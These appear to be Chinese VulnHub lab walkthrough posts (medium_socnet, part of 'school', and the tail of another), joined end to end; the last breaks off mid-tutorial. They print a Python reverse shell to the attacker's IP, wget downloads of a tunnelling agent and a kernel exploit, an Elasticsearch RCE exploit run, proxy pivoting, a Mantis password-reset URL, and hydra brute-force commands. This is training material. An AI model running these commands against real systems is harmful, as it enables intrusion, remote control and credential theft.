`Tr3@123456A!` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/4Epo1Do2l9aZ5lBX.webp) 记得之前扫描端口的时候是发现靶机的 22 端口是开放着的 `ssh tre@192.168.31.24` 使用该密码成功登录到目标靶机 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/V2aBdSmuTYPDmj9D.webp" alt="" width="100%" /> 突破边界方法 3 ======== `searchsploit Mantis` 发现还有一个密码重置的漏洞,跨越了很多版本,从 1.3.0 到 2.3.0 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/RAcjLjWF8JS05gjh.webp" alt="" width="100%" /> 查看这个 txt 发现漏洞出现在 verify.php 上 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/hhEXy9wp7AZMnwd1.webp) 修改一下这个 URL 就能去到重置 administrator 管理员密码的页面 ```bash http://192.168.31.24/system/verify.php?id=1&confirm_hash= ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/xvAFD9ADkh6K3LUp.webp) 将密码改成 123 之后去到 manage 界面也能发现这个疑似密码的 `Tr3@123456A!`,然后通过 SSH 登录即可突破边界 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/LR3FYF4xrobS7ZpL.webp" alt="" width="100%" /> 提权 == ![](https://pic.code-nav.cn/post_picture/1691989928780603394/ECWtz8HORt7UJFMO.webp) ```bash find / -type f -perm -o=w -user root -ls 2>/dev/null | grep -v "/proc" | grep -v "cgroup" ``` #### `find` 这是一个强大的文件查找命令,可根据用户指定的各种条件在指定目录下搜索文件和目录。 #### `/` 指定查找的起始目录,这里的 `/` 代表根目录,意味着命令会从整个文件系统的根开始查找。 #### `-type f` `-type` 是 `find` 命令用于指定查找对象类型的选项,`f` 表示普通文件。此选项限定了查找范围仅为普通文件,会排除目录、符号链接等其他类型的文件系统对象。 #### `-perm -o=w` `-perm` 用于根据文件的权限来筛选文件。`-o=w` 是一种权限筛选条件,其中: * `o` 代表其他用户(other),即除了文件所有者和所属组之外的用户。 * `w` 表示写权限。 * `-` 表示只要文件满足指定权限的任意组合即可。所以 `-o=w` 表示查找那些其他用户具有写权限的文件。 #### `-user root` `-user` 选项用于根据文件的所有者来筛选文件,`root` 是系统中的超级用户。此选项表示只查找那些所有者为 `root` 的文件。 #### `-ls` `-ls` 是 `find` 命令的一个动作选项,它会以类似于 `ls -l` 命令的格式列出查找到的文件的详细信息,包括文件的权限、所有者、所属组、大小、修改时间以及文件名等。 #### `2>/dev/null` 这是一个重定向操作,其中: * `2` 代表标准错误输出(stderr),在 Unix 系统中,标准输入、标准输出和标准错误输出分别用数字 0、1、2 表示。 * `>` 是重定向符号,用于将输出内容重定向到指定的位置。 * `/dev/null` 是一个特殊的设备文件,也被称为 “黑洞”,所有写入其中的数据都会被丢弃。所以 `2>/dev/null` 的作用是将命令执行过程中产生的错误信息重定向到 `/dev/null`,从而避免这些错误信息在终端中显示。 ### `grep -v "/proc"` * `**grep**` **命令**:`grep` 是一个强大的文本搜索工具,用于在输入的文本中查找包含指定模式的行。 * `**-v**` **选项**:表示反向匹配,即只输出不包含指定模式的行。 * `**"/proc"**`:是要匹配的模式。在 Unix 和类 Unix 系统中,`/proc` 是一个虚拟文件系统,它提供了内核和进程信息的接口。这里使用 `grep -v "/proc"` 是为了过滤掉查找结果中路径包含 `/proc` 的文件信息,因为 `/proc` 中的文件大多是动态生成的,可能不是我们真正想要查找的常规文件。 ### `grep -v "cgroup"` 同样,这也是一个 `grep` 命令的反向匹配操作。 * `**"cgroup"**`:是要匹配的模式。`cgroup`(Control Groups)是 Linux 内核提供的一种机制,用于对进程进行资源限制和控制,在 `/sys/fs/cgroup` 等目录下会有相关的文件和目录。使用 `grep -v "cgroup"` 是为了过滤掉查找结果中路径包含 `cgroup` 的文件信息,这些文件通常是与系统资源管理相关的特殊文件,可能不符合我们查找常规文件的需求。 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/ZVpz7A1I3sMprHjz.webp" alt="" width="100%" /> 发现 `/usr/bin/check-system` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/9vaUybBh7azt6ugD.webp) * `DATE=`date '+% Y-% m-% d % H:% M:% S'``:使用 `date` 命令获取当前的日期和时间,按照 `年-月-日 时:分:秒` 的格式进行格式化,并将结果赋值给变量 `DATE`。 * `echo "Service started at ${DATE}" | systemd-cat -p info`:将包含启动时间的信息 `"Service started at ${DATE}"` 输出,并通过管道(`|`)将其传递给 `systemd-cat` 命令。`systemd-cat` 是一个用于将标准输入重定向到 `systemd` 日志系统(`journald`)的工具,`-p info` 选项指定日志的优先级为 `info` 级别,表示这是一般性的信息记录。 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/XuHD22BMIMt9Td4L.webp) `grep -Ri "check-system" . 2>/dev/null` 是一个在类 Unix 系统(如 Linux)中常用的文本搜索命令,用于在当前目录(`.` 表示当前目录)及其所有子目录下递归地查找包含字符串 `"check-system"` 的文件,并将匹配的行输出。同时,该命令会将执行过程中可能产生的错误信息进行重定向,避免在终端显示。 #### `2>/dev/null` 这是一个重定向操作。在 Unix 系统中,标准输入、标准输出和标准错误输出分别用数字 `0`、`1`、`2` 表示。这里的 `2` 表示标准错误输出,`>` 是重定向符号,`/dev/null` 是一个特殊的设备文件,也被称为 “黑洞”,所有写入其中的数据都会被丢弃。因此,`2>/dev/null` 的作用是将命令执行过程中产生的错误信息重定向到 `/dev/null`,从而避免这些错误信息在终端中显示,使输出更加简洁。 `./systemd/system/check-system.service:ExecStart=/bin/bash /usr/bin/check-system` 是 `systemd` 服务单元文件(`.service` 文件)中的关键配置行,以下为你详细解读: #### `./systemd/system/check-system.service` 这部分代表的是 `systemd` 服务单元文件的路径。通常,`systemd` 服务单元文件存放在 `/etc/systemd/system` 或者 `/usr/lib/systemd/system` 目录下,这里的 `./` 可能表示相对于当前工作目录而言,文件名为 `check-system.service` 。`systemd` 是 Linux 系统中广泛使用的系统和服务管理器,服务单元文件用于定义和配置系统服务的启动、停止、重启等行为。 #### `ExecStart=/bin/bash /usr/bin/check-system` 这是服务单元文件里至关重要的配置项,其作用是指定服务启动时要执行的命令。具体解释如下: * `**ExecStart**`:这是 `systemd` 服务单元文件中的一个指令,专门用于定义服务启动时所执行的命令。在服务启动过程中,`systemd` 会依据 `ExecStart` 所指定的命令来启动相应的服务。 * `**/bin/bash**`:这是 Bash shell 的可执行文件路径。Bash 是 Linux 系统里最常用的 shell 程序,它能够解释和执行 shell 脚本。在这里使用 `/bin/bash` 意味着要通过 Bash 来执行后续的脚本文件。 * `**/usr/bin/check-system**`:这是一个 shell 脚本文件的路径,结合之前的 `/bin/bash` ,`systemd` 会调用 Bash 来执行 `/usr/bin/check-system` 脚本,从而启动相应的服务。你之前查看的 `/usr/bin/check-system` 脚本,会在服务启动时被执行,它会记录服务启动时间并进入一个每秒输出 "Checking..." 的无限循环。 就是靶机重启的时候就会执行 /usr/bin/check-system 这个文件,我们在文件中插入恶意的反弹 shell 代码,然后重启靶机 `sudo -l` 发现可以不用密码以 root 的身份来执行 shutdown 命令 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/LuhRntnKkUs8b0tO.webp) `shutdown -r now` 是在类 Unix 系统(如 Linux、BSD 等)中用于立即重启计算机的命令。`shutdown` 命令是系统管理工具,可用来安排系统关机、重启等操作。 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/1k6RtBViJ1SlvkbX.webp" alt="" width="100%" /> ![](https://pic.code-nav.cn/post_picture/1691989928780603394/wlTVo4DvgxyrH8cm.webp)

打靶记录1——靶机medium_socnet

靶机下载地址 ====== [https://www.vulnhub.com/entry/boredhackerblog-social-network,454/](https://www.vulnhub.com/entry/boredhackerblog-social-network,454/) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/wGYGC05lI3VmSF9k.webp) 打靶过程 ==== 由于靶机和我的Kali都处于同一个网段,所以使用arpscan二次发现技术来识别目标主机的IP地址 ```json arpscan -l ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/aJSvZym7tCMGyTAq.webp) 除了192.168.174.133,其他IP都是我VMware虚拟机正常运行会使用到的IP 那么拿到IP之后,对IP进行全端口的扫描,看看有哪些端口开起了,有哪些服务存在 ```json nmap -p- 192.168.174.133 ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/9b4mtj1IYAMXlnfg.webp" alt="" width="100%" /> 再进行一下服务版本的探测 ```json nmap -p22,5000 -sV 192.168.174.133 ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/eGpkgrlQBM3BnhvZ.webp" alt="" width="100%" /> * * * 在 nmap 中,-sV 参数是用来进行服务版本检测的。当你使用 -sV 参数扫描目标主机时,nmap 会尝试探测主机上运行的各种服务及其版本信息。这对于识别目标系统中运行的具体服务版本是非常有用的,可以帮助确定是否存在已知的漏洞或安全问题。 ### 使用 -sV 的主要功能和工作原理: 1. **服务版本检测**: * nmap 使用 -sV 参数时,会发送特定的探测请求到目标主机的开放端口,通过分析目标主机对请求的响应来判断具体的服务及其版本信息。 2. **精准信息**: * 相比于仅仅检测端口是否开放(使用 -sS 或 -sT 等参数进行端口扫描),-sV 参数能够提供更详细和精准的信息,包括服务的具体版本号。 3. **识别漏洞**: * 通过得知具体的服务版本号,可以帮助安全专家或管理员快速判断服务是否存在已知漏洞或安全问题,进而采取相应的安全措施或修复措施。 4. **使用示例**: * 基本用法:nmap -sV <target> * 指定端口范围:nmap -sV -p <port-range> <target> * 针对多个目标:nmap -sV <target1> <target2> ... 5. **注意事项**: * -sV 参数会增加扫描时间和网络流量,因为它需要发送多个探测请求并等待响应。对于大型网络或复杂的目标系统,可能需要更多时间来完成扫描。 * 某些防火墙或入侵检测系统可能会检测到 nmap 的服务版本检测行为,并采取防御措施。 总之,-sV 参数使得 nmap 在扫描过程中可以提供更多有关目标主机上服务的详细信息,有助于评估系统的安全性和配置状态。 * * * 发现Ubantu和python 既然是Http服务,那么我们就访问一个Web界面 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/lLEQ8Fwx8hRK9ZRw.webp) 没有发现有注入点,那么我们尝试一下目录扫描 ```json dirsearch -u "http://192.168.174.133:5000/" ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/sBfzCPzA8LZNOwWg.webp) 发现了后台地址,发现可以进行代码执行,放到exec()函数中执行的 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/1L4ccQaUiPqOcWPW.webp) 那么我们可以进行一个反弹shell,利用python 先在kali中监听端口 ```json nc -lvvnp 6666 ``` 然后在网站中执行反弹shell的代码 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/tlMvHgHYgMNU2T9F.webp" alt="" width="100%" /> ```json import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` 成功反弹shell ![](https://pic.code-nav.cn/post_picture/1691989928780603394/C1vGTSC40V9ZlQTs.webp) 但是发现可能是在docker容器里面的,因为有Dockerfile文件存在。 如果还不确定是否是docker容器,有两个方法 1、查看根目录下是否存在 .dockerenv 这个文件 ```json ls /.dockerenv ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/2HxVaUv4NFDF9F9g.png" alt="" width="532px" /> 如果存在 .dockerenv 这个文件,那么90%说明这就是docker系统 2、查看 /proc/1/cgroup ```json cat /proc/1/cgroup ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/fqrHa5xhvGtOmnQf.webp) 如果出现这些内容,那么100%是一个docker容器 因为Linux系统启动之后,1这个PID就代表着这个系统上的初始化进程的ID,当初始化ID的cgroup文件包含着明确的docker镜像主机的这些信息的话,那就100%是一个docker容器 那么先查看一下当前的docker的IP地址 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/7iIP7NXEdBAOnR2j.webp) ```json 172.17.0.3/16 ``` 那我们把docker当成内网,然后把内网网段的每一个IP都ping一遍,看看有没有回包 用一个脚本来测试 ```json for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done ``` * * * 这段代码是一个简单的 Bash 脚本,用于循环执行 ping 命令,以便对一组 IP 地址进行测试。让我们逐步解释这段代码的每个部分: 1. **for 循环**: ```plain bashfor i in $(seq 1 10); ``` * for i in ... 表示开始一个循环,其中 i 是循环变量。 * $(seq 1 10) 是一个命令替换,它生成从 1 到 10 的整数序列。因此,$i 将会依次取值 1 到 10。 2. **ping 命令**: ```plain bashping -c 1 172.17.0.$i; ``` * ping 命令用于向指定的主机发送 ICMP 回显请求,以测试主机的可达性和响应时间。 * -c 1 参数表示发送一个 ICMP 请求,即每个主机只发送一个请求。 * 172.17.0.$i 是一个带有变量的 IP 地址,其中 $i 是 for 循环中的当前值,用来替换为具体的 IP 地址,如 172.17.0.1 到 172.17.0.10。 3. **循环体**: * 整个 for 循环的主体是 ping -c 1 172.17.0.$i;,这意味着会对序列中的每个 IP 地址执行一次 ping 操作。 ### 执行过程: * 当脚本执行时,$i 会依次取值 1 到 10。 * 对于每个循环迭代,ping 命令会发送一个 ICMP 请求到指定的 IP 地址(例如 172.17.0.1 到 172.17.0.10)。 * 如果目标主机响应,则输出显示主机的响应时间和状态信息;如果没有响应,则显示主机不可达或超时的信息。 ### 注意事项: * **权限**:执行 ping 命令通常需要足够的权限,通常是 root 或者具有相应网络权限的用户。 * **网络设置**:确保你的网络设置允许 ICMP 请求,否则 ping 命令可能无法正常工作。 * **循环范围**:代码中使用的 IP 地址范围和具体地址可能会根据实际情况和网络配置而变化。 这段代码适合于快速测试一组 IP 地址是否可达,并获得它们的基本网络信息。 * * * ![](https://pic.code-nav.cn/post_picture/1691989928780603394/8JZz2sLFY6BPVJO5.webp) 发现三个IP回包了 接下来要使用内网穿透技术,把我的Kali到它内网的这个路由给打通 推荐使用[Venom v1.1.0](https://github.com/Dliv3/Venom/releases/tag/v1.1.0),下载地址[https://github.com/Dliv3/Venom/releases](https://github.com/Dliv3/Venom/releases) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/JDjH2tShlpjF3tTg.webp) 下载后放到Kali中解压 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/ztd1qwGgrgNVQ9v2.webp) 我们现在要做的是把客户端程序,先传输拷贝到目标系统上,然后再通过Kali 上的服务器端程序,在他们之间建立一条隧道 那么现在Kali中开启服务端,监听9999端口,等待容器系统和我的Kali建立反弹的连接 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/0xwuUzGlBqCZkIQ9.webp) 然后目标服务器需要下载我的客户端程序 我先通过python开启一个http服务,然后让目标服务器直接通过Wegt来下载客户端程序 ```plain python3 -m http.server 80 ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/LMJPZq2t1qDkTCfF.webp) 然后再目标服务器上执行命令 ```plain wget http://192.168.174.128/agent_linux_x64 ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/0eFwZlXPTCeRjh3r.webp" alt="" width="100%" /> ```plain chmod +x agent_linux_x64 //赋予执行权限 ./agent_linux_x64 -rhost 192.168.174.128 -rport 9999 // 连接Kali ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/snMnbzgQnapqQUYh.webp) Kali发现了一个已连接的节点 ```plain goto 1 socks 1080 //启动socks代理 ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/HlaNXRUsOWEMQkKP.webp) 为了让Kali上的所用工具都可以通过代理去扫描内网的所有网段的话,那必须使用另外一个工具 proxychains4 ,可以挂载我们当前的代理 ```plain vim /etc/proxychains4.conf ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/KtjXG7ESxrOfnFmx.webp) Nmap扫描一下端口,当然前提是要挂上proxychains ```plain proxychains nmap -Pn -sT 172.17.0.1 ``` 1. **-Pn** **参数**: * -Pn 参数告诉 nmap 不要进行主机发现(即不要进行Ping测试),而是假设目标主机是活跃的。这是一种绕过目标主机可能配置的防火墙或过滤规则的方法,因为有些网络设备会屏蔽 Ping 请求。 2. **-sT** **参数**: * -sT 参数指定了使用 TCP 连接扫描(也称为全连接扫描)。在 TCP 连接扫描中,nmap 会尝试建立一个完全的 TCP 连接,以判断目标端口的状态(开放、关闭、过滤)。 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/8G8byARmXIYRkXSS.webp) 再看一下版本 ```plain proxychains nmap -Pn -sT -sV 172.17.0.1 ``` proxychains 是一个工具,它允许用户将其他命令通过代理服务器执行,而不是直接连接到目标主机。 * proxychains 是一个用于代理网络连接的工具。它能够劫持其他命令的网络连接,将其通过配置好的代理服务器转发出去,从而达到隐藏真实 IP 地址或绕过网络防火墙的目的。 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/OndTj9tKkW50RBWf.webp) 发现就是我们原来的那台,只不过172.17.0.1是面向内网容器的IP 那么我们再扫描一下172.17.0.2这个IP ```plain proxychains nmap -Pn -sT -sV 172.17.0.2 ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/2K1UvEgNHTxAxDlc.webp) 发现是Elasticsearch,我们可以利用一下漏洞 ```plain searchsploit Elasticsearch ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/lJG5kNv7npiWhHvM.webp" alt="" width="100%" /> 那我们把漏洞利用代码复制到当前目录上查看一下 ```plain cp /usr/share/exploitdb/exploits/linux/remote/36337.py . ``` 发现是Python2的 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/zPvO21yIlZcsTTVd.webp) 提示需要加上 target 参数 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/RhvYZTiLRtfNYw0x.webp) ```plain proxychains python2 36337.py 172.17.0.2 ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/1XWpaQA3i8MxfkTr.webp) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/EcnzPoJ9BWrBRLLT.webp) 解密密码[https://www.somd5.com/](https://www.somd5.com/) ![](https://pic.code-nav.cn/post_picture/1691989928780603394/2ywbggevhesIzFlf.webp) SSH登录 ```plain proxychains ssh john@172.17.0.1 ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/PHNIXfjyvA0cw6Re.webp) 看一下内核 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/6oJVvhiiJb6pDzdY.webp) ```plain searchsploit Linux 3.13.0 Ubuntu ``` 看一下可利用的漏洞 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/O1m2YqVXNZVGMWuF.webp) 先弄下来看看代码 ```plain cp /usr/share/exploitdb/exploits/linux/local/37292.c . ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/VVj6TEzYYcnBJcYb.webp) 发现需要gcc来编译,但是目标靶机上面没有gcc 先找到二进制共享库文件ofs-lib.so ```plain locate ofs-lib.so ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/7kBKn0zNdBhBufhx.png) 然后我们直接在Kali什么编译好之后再发过去,然后将这段代码给注释掉 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/V6VuOhqG3p7uOOKi.webp) ```plain gcc -o exp 37292.c ``` 有报错但是不影响 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/j0GFhdDTKCvRyJ11.webp) 然后把ofs-lib.so文件也拷贝过来 ```plain /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/28vw6KBQfl12MTG0.webp) 开启Http服务 ```plain python3 -m http.server 80 ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/3k7VWrRZKlUpCjK8.png) ```plain john@socnet:~$ wget http://192.168.174.128/exp john@socnet:~$ wget http://192.168.174.128/ofs-lib.so ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/oeW4PYiWEBf0II5D.webp) 下载完成后将他们放到/tmp临时目录下,这个目录权限大一点 前面也有说在/tmp目录下调用,这样可以减少报错 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/Cw5hjgqidSs5ZFyD.webp) ```plain mv * /tmp ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/JdL8fwCc04HJmyB7.png) ```plain chmod +x exp ./exp ``` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/cJaGeyVoGpn05cxB.webp) 获得root权限! 总结 == 1. 先进行主机发现,然后针对发现的主机进行端口扫描以及服务的扫描 2. 扫描完之后发现靶机在5000端口的一个Web应用,尝试访问Web应用 3. 在Web应用下,我们未获得已知漏洞 4. 通过dirsearch在5000端口发现了后台路径 5. 在后台地址发现了远程代码执行漏洞,利用这个漏洞,获取到了一个目标系统的反弹shell 6. 获得shell之后,发现自己被困在一个docker的容器系统里面,基于容器系统,对内网的IP地址段进行发现 7. 识别除了两个内网主机中的IP地址,一个是172.17.0.1,一个是172.17.0.2 8. 然后挂上代理进行内网穿透,对这两个地址进行了全端口的扫描,在扫描过程中发现0.2地址上面开启了9200端口 9. 而9200端口是Elasticsearch默认的服务监听端口,所以尝试对Elasticsearch进行漏洞的利用和攻击,结果成功拿下了172.17.0.2这台主机 10. 在这台主机里继续进行信息收集,我们发现了一个password的文件,在里面收获了john这个账号的密码,密码是需要进行破解的 11. 拿到账号密码之后尝试对内网所有开启22端口的主机进行登录,最终成功登录目标的靶机系统 12. 登录后没有root权限,需要进行本地提权 13. 发现是比较老的操作系统,内核版本比较老,所以使用针对内核漏洞进行提权的代码 14. 但是漏洞利用代码又没有办法在目标系统上进行GCC的编译,所以不得不修改代码重新编译 15. 把编译之后的漏洞利用代码和二进制的库文件一起传输到目标服务器上 16. 最终在目标服务器上成功利用漏洞进行本地提权,拿到root权限

打靶记录26——school

靶机: === https://www.vulnhub.com/entry/boredhackerblog-social-network,454/ **下载(镜像)**:https://download.vulnhub.com/boredhackerblog/medium_socnet.ova 难度: === * 高 目标: === * 获得 Root 权限 + 2 Flag 攻击方法: ===== * 主机发现 * 端口扫描 * 信息收集 * SQL 注入 * 信息泄露 * 文件上传 * 离线密码破解 * 在线密码破解 * WINE * 缓冲区溢出 * EXP 代码编写 * 本地提权 主机发现 ==== `sudo arp-scan -l` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/pZFo2e7EAErewusL.webp" alt="" width="100%" /> 端口扫描和服务发现 ========= `sudo nmap -p- 192.168.31.38` ![](https://pic.code-nav.cn/post_picture/1691989928780603394/s5WSLGRzgUhOa3ou.webp) `sudo nmap -p22,23,80 -A 192.168.31.38`,目标可能是 Debian 系统,服务器上的 SSH 版本是7.9 ```xml ┌──(kali㉿DESKTOP-MLG4CQ2)-[~] └─$ sudo nmap -p22,23,80 -A 192.168.31.38 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 17:52 CST Nmap scan report for school (192.168.31.38) Host is up (0.00052s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA) | 256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA) |_ 256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519) 23/tcp open telnet? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns, tn3270: |_ Verification Code: 80/tcp open http Apache httpd 2.4.38 ((Debian)) | http-title: 404 Not Found |_Requested resource was login.php |_http-server-header: Apache/2.4.38 (Debian) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port23-TCP:V=7.94SVN%I=7%D=1/23%Time=6792116E%P=x86_64-pc-linux-gnu%r(N SF:ULL,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GenericLin SF:es,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(tn3270,1C," SF:Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GetRequest,1C,"Ver SF:ification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(HTTPOptions,1C,"Verif SF:ication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RTSPRequest,1C,"Verific SF:ation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RPCCheck,1C,"Verification SF:\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSVersionBindReqTCP,1C,"Verif SF:ication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSStatusRequestTCP,1C, SF:"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Help,1C,"Verifica SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SSLSessionReq,1C,"Verifica SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServerCookie,1C,"V SF:erification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TLSSessionReq,1C,"V SF:erification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Kerberos,1C,"Verifi SF:cation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SMBProgNeg,1C,"Verificat SF:ion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(X11Probe,1C,"Verification\x SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(FourOhFourRequest,1C,"Verificati SF:on\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LPDString,1C,"Verification\x SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPSearchReq,1C,"Verification\x SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPBindReq,1C,"Verification\x20 SF:Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SIPOptions,1C,"Verification\x20Cod SF:e:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LANDesk-RC,1C,"Verification\x20Code:\ SF:n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServer,1C,"Verification\x20Code: SF:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(NCP,1C,"Verification\x20Code:\n\0\0\0\x SF:ee\x1e@\0\xe2\x1c")%r(NotesRPC,1C,"Verification\x20Code:\n\0\0\0\xee\x1 SF:e@\0\xe2\x1c")%r(JavaRMI,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\x SF:e2\x1c")%r(WMSRequest,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\ SF:x1c")%r(oracle-tns,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c SF:")%r(ms-sql-s,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r( SF:afp,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c"); MAC Address: 08:00:27:D7:87:B1 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.51 ms school (192.168.31.38) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds ``` `nc 192.168.31.38 23` 连接一下 23 端口看一下有什么反馈,发现和常见的 telnet 服务不一样,要求我们输入验证码 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/GB2Ze2H2rqqOw07o.png) 访问 80 端口是一个登录框 ![](https://pic.code-nav.cn/post_picture/1691989928780603394/Q0Zuwinn3FAZvfIy.webp) 暴力破解 ==== * * * hydra `hydra` 是一款功能强大且广为人知的开源密码破解工具,常用于安全审计和渗透测试工作中,以下从多个方面详细介绍它: ### 特点 * **多协议支持**:`hydra` 支持众多网络协议的密码破解,如 SSH、FTP、HTTP、HTTPS、SMTP、POP3、IMAP 等。这使得它在不同的网络服务场景下都能发挥作用,能够针对各种应用程序和服务进行密码暴力破解测试。 * **速度快**:采用多线程技术,能够同时发起多个连接和尝试,大大提高了密码破解的速度。通过合理配置线程数量,可以在短时间内尝试大量的密码组合。 * **高度可定制**:用户可以自定义用户名、密码字典、攻击模式等,根据具体的测试需求灵活调整破解策略。还可以设置并发连接数、超时时间等参数。 ### 基本用法 `hydra` 的基本语法如下: bash ```bash hydra [-l <username> | -L <username_list>] [-p <password> | -P <password_list>] <target> <service> ``` * **参数说明**: * `-l <username>`:指定单个用户名。 * `-L <username_list>`:指定包含多个用户名的文件路径。 * `-p <password>`:指定单个密码。 * `-P <password_list>`:指定包含多个密码的字典文件路径。 * `<target>`:目标主机的 IP 地址或域名。 * `<service>`:要攻击的服务,如 `ssh`、`ftp`、`http` 等。 ### 示例 #### 1. SSH 服务密码破解 bash ```bash hydra -l root -P /path/to/passwords.txt ssh://192.168.1.100 ``` 此命令表示使用用户名 `root` 和 `/path/to/passwords.txt` 字典文件对 IP 为 `192.168.1.100` 的主机的 SSH 服务进行密码破解。 #### 2. HTTP 表单认证破解 bash ```bash hydra -l admin -P /path/to/passwords.txt 192.168.1.100 http-post-form 